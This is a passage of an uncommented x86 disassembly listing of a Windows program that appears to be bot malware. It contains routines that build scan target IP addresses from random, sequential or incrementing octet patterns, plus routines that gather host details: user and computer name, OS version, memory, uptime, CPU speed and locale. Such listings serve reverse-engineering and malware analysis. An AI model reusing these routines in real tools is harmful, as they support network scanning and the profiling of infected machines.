jz short loc_407C5F
jmp short loc_407C42
; ---------------------------------------------------------------------------
loc_407C5F: ; CODE XREF: sub_407C2C+2Fj
mov [ebp+var_C], 1
jmp short loc_407C6C
; ---------------------------------------------------------------------------
loc_407C68: ; CODE XREF: sub_407C2C+29j
and [ebp+var_C], 0
loc_407C6C: ; CODE XREF: sub_407C2C+3Aj
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov cl, [ecx]
mov [eax], cl
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407CCD
cmp [ebp+arg_8], 0
jz short loc_407CCB
cmp [ebp+var_8], 0
jz short loc_407CCB
loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j
push 1
pop eax
test eax, eax
jz short loc_407CCB
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
and byte ptr [eax], 0
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_407CC7
cmp [ebp+var_8], 0
jnz short loc_407CC9
loc_407CC7: ; CODE XREF: sub_407C2C+93j
jmp short loc_407CCB
; ---------------------------------------------------------------------------
loc_407CC9: ; CODE XREF: sub_407C2C+99j
jmp short loc_407C9C
; ---------------------------------------------------------------------------
loc_407CCB: ; CODE XREF: sub_407C2C+68j
; sub_407C2C+6Ej ...
jmp short locret_407CD2
; ---------------------------------------------------------------------------
loc_407CCD: ; CODE XREF: sub_407C2C+62j
jmp loc_407C42
; ---------------------------------------------------------------------------
locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj
leave
retn
sub_407C2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp
; sub_407D42+79p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_407CE5
; ---------------------------------------------------------------------------
loc_407CDE: ; CODE XREF: sub_407CD4+68j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407CE5: ; CODE XREF: sub_407CD4+8j
cmp [ebp+var_4], 4
jge short loc_407D3E
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 2Eh
jnz short loc_407D0E
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
and byte ptr [eax], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+1]
jmp short locret_407D40
; ---------------------------------------------------------------------------
loc_407D0E: ; CODE XREF: sub_407CD4+23j
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407D2C
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
and byte ptr [eax], 0
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
jmp short locret_407D40
; ---------------------------------------------------------------------------
loc_407D2C: ; CODE XREF: sub_407CD4+45j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx]
mov [eax], cl
jmp short loc_407CDE
; ---------------------------------------------------------------------------
loc_407D3E: ; CODE XREF: sub_407CD4+15j
xor eax, eax
locret_407D40: ; CODE XREF: sub_407CD4+38j
; sub_407CD4+56j
leave
retn
sub_407CD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407D42 proc near ; CODE XREF: sub_407F3D+19p
; sub_407F3D+3Fp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
push 2Eh
push [ebp+arg_0]
call sub_4078E6
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 3
jle short loc_407D63
xor eax, eax
jmp locret_407E0A
; ---------------------------------------------------------------------------
loc_407D63: ; CODE XREF: sub_407D42+18j
mov eax, [ebp+arg_10]
and byte ptr [eax], 0
mov eax, [ebp+arg_C]
and byte ptr [eax], 0
mov eax, [ebp+arg_8]
and byte ptr [eax], 0
mov eax, [ebp+arg_4]
and byte ptr [eax], 0
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_407DE9
cmp [ebp+var_8], 1
jz short loc_407DCF
cmp [ebp+var_8], 2
jz short loc_407DB5
cmp [ebp+var_8], 3
jz short loc_407D9B
jmp short loc_407E08
; ---------------------------------------------------------------------------
loc_407D9B: ; CODE XREF: sub_407D42+55j
push [ebp+arg_0]
push [ebp+arg_4]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407DB5
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407DB5: ; CODE XREF: sub_407D42+4Fj
; sub_407D42+6Dj
push [ebp+arg_0]
push [ebp+arg_8]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407DCF
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407DCF: ; CODE XREF: sub_407D42+49j
; sub_407D42+87j
push [ebp+arg_0]
push [ebp+arg_C]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407DE9
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407DE9: ; CODE XREF: sub_407D42+43j
; sub_407D42+A1j
push [ebp+arg_0]
push [ebp+arg_10]
call sub_407CD4
pop ecx
pop ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jnz short loc_407E03
xor eax, eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407E03: ; CODE XREF: sub_407D42+BBj
push 1
pop eax
jmp short locret_407E0A
; ---------------------------------------------------------------------------
loc_407E08: ; CODE XREF: sub_407D42+57j
xor eax, eax
locret_407E0A: ; CODE XREF: sub_407D42+1Cj
; sub_407D42+71j ...
leave
retn
sub_407D42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p
; sub_407F3D+C1p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 72h
jnz short loc_407E4A
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+1]
test eax, eax
jnz short loc_407E4A
push 0Ah
push [ebp+arg_C]
push 0FFh
push 0
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
mov eax, [ebp+arg_10]
jmp locret_407F3B
; ---------------------------------------------------------------------------
loc_407E4A: ; CODE XREF: sub_407E0C+Dj
; sub_407E0C+18j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 73h
jz short loc_407E64
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 69h
jnz loc_407EF9
loc_407E64: ; CODE XREF: sub_407E0C+47j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax+1]
test eax, eax
jnz loc_407EF9
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407EB3
cmp [ebp+arg_10], 0
jz short loc_407EB3
push [ebp+arg_0]
call sub_416B9C ; atoi
pop ecx
movzx eax, al
inc eax
mov [ebp+var_4], al
push 0Ah
push [ebp+arg_C]
movzx eax, [ebp+var_4]
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
movzx eax, [ebp+var_4]
neg eax
sbb eax, eax
inc eax
jmp locret_407F3B
; ---------------------------------------------------------------------------
loc_407EB3: ; CODE XREF: sub_407E0C+6Fj
; sub_407E0C+75j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407ECC
push [ebp+arg_0]
push [ebp+arg_C]
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_407EF5
; ---------------------------------------------------------------------------
loc_407ECC: ; CODE XREF: sub_407E0C+AFj
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
cmp eax, 69h
jnz short loc_407EE8
push offset dword_418F50
push [ebp+arg_C]
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_407EF5
; ---------------------------------------------------------------------------
loc_407EE8: ; CODE XREF: sub_407E0C+C9j
push [ebp+arg_8]
push [ebp+arg_C]
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_407EF5: ; CODE XREF: sub_407E0C+BEj
; sub_407E0C+DAj
xor eax, eax
jmp short locret_407F3B
; ---------------------------------------------------------------------------
loc_407EF9: ; CODE XREF: sub_407E0C+52j
; sub_407E0C+61j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407F12
push [ebp+arg_4]
push [ebp+arg_C]
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_407F38
; ---------------------------------------------------------------------------
loc_407F12: ; CODE XREF: sub_407E0C+F5j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407F2B
push [ebp+arg_0]
push [ebp+arg_C]
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_407F38
; ---------------------------------------------------------------------------
loc_407F2B: ; CODE XREF: sub_407E0C+10Ej
push [ebp+arg_8]
push [ebp+arg_C]
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_407F38: ; CODE XREF: sub_407E0C+104j
; sub_407E0C+11Dj
mov eax, [ebp+arg_10]
locret_407F3B: ; CODE XREF: sub_407E0C+39j
; sub_407E0C+A2j ...
leave
retn
sub_407E0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F3D proc near ; CODE XREF: sub_41349C+192p
; sub_41349C+3DAp
var_44 = byte ptr -44h
var_40 = byte ptr -40h
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_0]
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_407F69
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407F69: ; CODE XREF: sub_407F3D+23j
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_40]
push eax
push [ebp+arg_4]
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_407F8F
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407F8F: ; CODE XREF: sub_407F3D+49j
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_1C]
push eax
push offset dword_41EF48
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_407FB7
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407FB7: ; CODE XREF: sub_407F3D+71j
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_407FC6
xor eax, eax
jmp locret_408068
; ---------------------------------------------------------------------------
loc_407FC6: ; CODE XREF: sub_407F3D+80j
mov [ebp+var_18], 1
push [ebp+var_18]
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
push [ebp+var_18]
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
push [ebp+var_18]
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_44]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
push [ebp+var_18]
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_3C]
push eax
call sub_407E0C
add esp, 14h
mov [ebp+var_18], eax
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_20]
push eax
push offset aS_S_S_S ; "%s.%s.%s.%s"
push [ebp+arg_8]
call sub_416B5E ; sprintf
add esp, 18h
push 1
pop eax
locret_408068: ; CODE XREF: sub_407F3D+27j
; sub_407F3D+4Dj ...
leave
retn
sub_407F3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40806A proc near ; CODE XREF: sub_41349C+12Ap
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
push [ebp+arg_0]
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_408096
xor eax, eax
jmp locret_40813A
; ---------------------------------------------------------------------------
loc_408096: ; CODE XREF: sub_40806A+23j
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_41EF48
call sub_407D42
add esp, 14h
test eax, eax
jnz short loc_4080BB
xor eax, eax
jmp short locret_40813A
; ---------------------------------------------------------------------------
loc_4080BB: ; CODE XREF: sub_40806A+4Bj
movsx eax, [ebp+var_18]
test eax, eax
jnz short loc_4080D2
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_4080D2: ; CODE XREF: sub_40806A+57j
movsx eax, [ebp+var_1C]
test eax, eax
jnz short loc_4080E9
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_1C]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_4080E9: ; CODE XREF: sub_40806A+6Ej
movsx eax, [ebp+var_20]
test eax, eax
jnz short loc_408100
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_20]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_408100: ; CODE XREF: sub_40806A+85j
movsx eax, [ebp+var_4]
test eax, eax
jnz short loc_408117
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_408117: ; CODE XREF: sub_40806A+9Cj
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_18]
push eax
push offset aS_S_S_S ; "%s.%s.%s.%s"
push [ebp+arg_0]
call sub_416B5E ; sprintf
add esp, 18h
push 1
pop eax
locret_40813A: ; CODE XREF: sub_40806A+27j
; sub_40806A+4Fj
leave
retn
sub_40806A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40813C proc near ; CODE XREF: sub_407928+54p
; sub_407928+9Dp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_408150
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov [eax], ecx
loc_408150: ; CODE XREF: sub_40813C+Aj
mov eax, [ebp+arg_8]
mov eax, [eax]
mov [ebp+var_8], eax
jmp short loc_408161
; ---------------------------------------------------------------------------
loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_408161: ; CODE XREF: sub_40813C+1Cj
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_4081A2
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_408171: ; CODE XREF: sub_40813C+56j
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_408194
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
mov ecx, [ebp+var_8]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jz short loc_408194
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
jmp short loc_408171
; ---------------------------------------------------------------------------
loc_408194: ; CODE XREF: sub_40813C+3Dj
; sub_40813C+4Dj
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4081A0
jmp short loc_4081A2
; ---------------------------------------------------------------------------
loc_4081A0: ; CODE XREF: sub_40813C+60j
jmp short loc_40815A
; ---------------------------------------------------------------------------
loc_4081A2: ; CODE XREF: sub_40813C+2Dj
; sub_40813C+62j
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j
mov eax, [ebp+var_C]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_4081F7
mov eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+var_4]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_4081D7
mov eax, [ebp+var_C]
and byte ptr [eax], 0
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp short loc_4081F7
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_40813C+8Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4081F5
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
loc_4081F5: ; CODE XREF: sub_40813C+AAj
jmp short loc_4081AE
; ---------------------------------------------------------------------------
loc_4081F7: ; CODE XREF: sub_40813C+7Aj
; sub_40813C+99j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov eax, [ebp+var_8]
sub eax, [ebp+var_C]
neg eax
sbb eax, eax
and eax, [ebp+var_8]
leave
retn
sub_40813C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p
; sub_40821B+1Cp
push ebp
mov ebp, esp
push ebx
push esi
push edi
rdtsc
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40820E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
loc_408221: ; CODE XREF: sub_40821B+4Aj
; sub_40821B+55j
call sub_40820E
mov [ebp+var_20], eax
mov [ebp+var_1C], edx
push 3E8h
call ds:dword_41709C ; Sleep
call sub_40820E
sub eax, [ebp+var_20]
sbb edx, [ebp+var_1C]
push 0
push 186A0h
push edx
push eax
call sub_416C90
push 0
push 0Ah
push edx
push eax
call sub_416C90
mov [ebp+var_8], eax
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
ja short loc_408221
jb short loc_408272
cmp [ebp+var_8], 0F4240h
ja short loc_408221
loc_408272: ; CODE XREF: sub_40821B+4Cj
push 0
push 64h
push [ebp+var_4]
push [ebp+var_8]
call sub_416C10
mov [ebp+var_18], eax
mov [ebp+var_14], edx
mov [ebp+var_10], 64h
and [ebp+var_C], 0
cmp [ebp+var_14], 0
ja short loc_4082AB
jb short loc_4082A0
cmp [ebp+var_18], 50h
jnb short loc_4082AB
loc_4082A0: ; CODE XREF: sub_40821B+7Dj
mov [ebp+var_10], 4Bh
and [ebp+var_C], 0
loc_4082AB: ; CODE XREF: sub_40821B+7Bj
; sub_40821B+83j
cmp [ebp+var_14], 0
ja short loc_4082C4
jb short loc_4082B9
cmp [ebp+var_18], 47h
jnb short loc_4082C4
loc_4082B9: ; CODE XREF: sub_40821B+96j
mov [ebp+var_10], 42h
and [ebp+var_C], 0
loc_4082C4: ; CODE XREF: sub_40821B+94j
; sub_40821B+9Cj
cmp [ebp+var_14], 0
ja short loc_4082DD
jb short loc_4082D2
cmp [ebp+var_18], 37h
jnb short loc_4082DD
loc_4082D2: ; CODE XREF: sub_40821B+AFj
mov [ebp+var_10], 32h
and [ebp+var_C], 0
loc_4082DD: ; CODE XREF: sub_40821B+ADj
; sub_40821B+B5j
cmp [ebp+var_14], 0
ja short loc_4082F6
jb short loc_4082EB
cmp [ebp+var_18], 26h
jnb short loc_4082F6
loc_4082EB: ; CODE XREF: sub_40821B+C8j
mov [ebp+var_10], 21h
and [ebp+var_C], 0
loc_4082F6: ; CODE XREF: sub_40821B+C6j
; sub_40821B+CEj
cmp [ebp+var_14], 0
ja short loc_40830F
jb short loc_408304
cmp [ebp+var_18], 1Eh
jnb short loc_40830F
loc_408304: ; CODE XREF: sub_40821B+E1j
mov [ebp+var_10], 19h
and [ebp+var_C], 0
loc_40830F: ; CODE XREF: sub_40821B+DFj
; sub_40821B+E7j
cmp [ebp+var_14], 0
ja short loc_408325
jb short loc_40831D
cmp [ebp+var_18], 0Ah
jnb short loc_408325
loc_40831D: ; CODE XREF: sub_40821B+FAj
and [ebp+var_10], 0
and [ebp+var_C], 0
loc_408325: ; CODE XREF: sub_40821B+F8j
; sub_40821B+100j
mov eax, [ebp+var_8]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_4]
sbb ecx, [ebp+var_14]
add eax, [ebp+var_10]
adc ecx, [ebp+var_C]
mov [ebp+var_8], eax
mov [ebp+var_4], ecx
mov eax, [ebp+var_8]
leave
retn
sub_40821B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408342 proc near ; CODE XREF: sub_40D043+156p
; sub_40D871+30Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1Fh
push [ebp+arg_0]
push 7
push 400h
call ds:dword_417034 ; GetLocaleInfoA
neg eax
sbb eax, eax
neg eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
and byte ptr [eax+3], 0
cmp [ebp+var_4], 0
jz short loc_408381
push offset off_419100
push [ebp+arg_0]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_4083A8
loc_408381: ; CODE XREF: sub_408342+2Aj
push 1Fh
push [ebp+arg_0]
push 7
push 800h
call ds:dword_417034 ; GetLocaleInfoA
neg eax
sbb eax, eax
neg eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
and byte ptr [eax+3], 0
mov eax, [ebp+var_4]
jmp short locret_4083AB
; ---------------------------------------------------------------------------
loc_4083A8: ; CODE XREF: sub_408342+3Dj
push 1
pop eax
locret_4083AB: ; CODE XREF: sub_408342+64j
leave
retn
sub_408342 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083AD proc near ; DATA XREF: sub_4087C4+35o
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_73C = dword ptr -73Ch
var_738 = dword ptr -738h
var_734 = byte ptr -734h
var_72C = dword ptr -72Ch
var_728 = dword ptr -728h
var_714 = dword ptr -714h
var_710 = dword ptr -710h
var_70C = dword ptr -70Ch
var_708 = byte ptr -708h
var_6F0 = dword ptr -6F0h
var_6EC = dword ptr -6ECh
var_6E8 = dword ptr -6E8h
var_6E4 = dword ptr -6E4h
var_6E0 = byte ptr -6E0h
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = byte ptr -6C8h
var_524 = dword ptr -524h
var_520 = dword ptr -520h
var_51C = dword ptr -51Ch
var_518 = dword ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = byte ptr -50Ch
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = byte ptr -47Ch
var_409 = byte ptr -409h
var_408 = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 750h
push ebx
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_6CC]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_734]
push eax
call ds:dword_4170C4 ; GlobalMemoryStatus
mov eax, [ebp+var_72C]
add eax, 100000h
shr eax, 14h
mov [ebp+var_6F0], eax
mov eax, [ebp+var_728]
add eax, 100000h
shr eax, 14h
mov [ebp+var_738], eax
call sub_4092A4
mov [ebp+var_714], eax
mov eax, [ebp+var_714]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_6E8], eax
mov eax, [ebp+var_714]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_524], eax
mov eax, [ebp+var_714]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_6E4], eax
mov [ebp+var_8], 15h
mov [ebp+var_6D0], 10h
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_708]
push eax
call ds:dword_417018 ; GetUserNameA
lea eax, [ebp+var_6D0]
push eax
lea eax, [ebp+var_6E0]
push eax
call ds:dword_417078 ; GetComputerNameA
mov [ebp+var_520], 94h
push 24h
pop ecx
xor eax, eax
lea edi, [ebp+var_51C]
rep stosd
lea eax, [ebp+var_520]
push eax
call ds:dword_417030 ; GetVersionExA
mov [ebp+var_48C], offset a? ; "?"
mov [ebp+var_710], offset aNoSp ; "no SP"
cmp [ebp+var_51C], 4
jnz short loc_408522
cmp [ebp+var_518], 0
jnz short loc_408522
cmp [ebp+var_510], 1
jnz short loc_40850A
mov [ebp+var_48C], offset a95 ; "95"
loc_40850A: ; CODE XREF: sub_4083AD+151j
cmp [ebp+var_510], 2
jnz short loc_40851D
mov [ebp+var_48C], offset aNt ; "NT"
loc_40851D: ; CODE XREF: sub_4083AD+164j
jmp loc_4085B6
; ---------------------------------------------------------------------------
loc_408522: ; CODE XREF: sub_4083AD+13Fj
; sub_4083AD+148j
cmp [ebp+var_51C], 4
jnz short loc_408540
cmp [ebp+var_518], 0Ah
jnz short loc_408540
mov [ebp+var_48C], offset a98 ; "98"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_408540: ; CODE XREF: sub_4083AD+17Cj
; sub_4083AD+185j
cmp [ebp+var_51C], 4
jnz short loc_40855E
cmp [ebp+var_518], 5Ah
jnz short loc_40855E
mov [ebp+var_48C], offset aMe ; "ME"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_40855E: ; CODE XREF: sub_4083AD+19Aj
; sub_4083AD+1A3j
cmp [ebp+var_51C], 5
jnz short loc_40857C
cmp [ebp+var_518], 0
jnz short loc_40857C
mov [ebp+var_48C], offset a2000 ; "2000"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_40857C: ; CODE XREF: sub_4083AD+1B8j
; sub_4083AD+1C1j
cmp [ebp+var_51C], 5
jnz short loc_40859A
cmp [ebp+var_518], 1
jnz short loc_40859A
mov [ebp+var_48C], offset aXp ; "XP"
jmp short loc_4085B6
; ---------------------------------------------------------------------------
loc_40859A: ; CODE XREF: sub_4083AD+1D6j
; sub_4083AD+1DFj
cmp [ebp+var_51C], 5
jnz short loc_4085B6
cmp [ebp+var_518], 2
jnz short loc_4085B6
mov [ebp+var_48C], offset a2003 ; "2003"
loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj
; sub_4083AD+191j ...
cmp [ebp+var_510], 2
jnz short loc_4085D6
movsx eax, [ebp+var_50C]
test eax, eax
jz short loc_4085D6
lea eax, [ebp+var_50C]
mov [ebp+var_710], eax
loc_4085D6: ; CODE XREF: sub_4083AD+210j
; sub_4083AD+21Bj
call sub_40435B
test eax, eax
jz short loc_4085EB
mov [ebp+var_744], offset aYes ; "Yes"
jmp short loc_4085F5
; ---------------------------------------------------------------------------
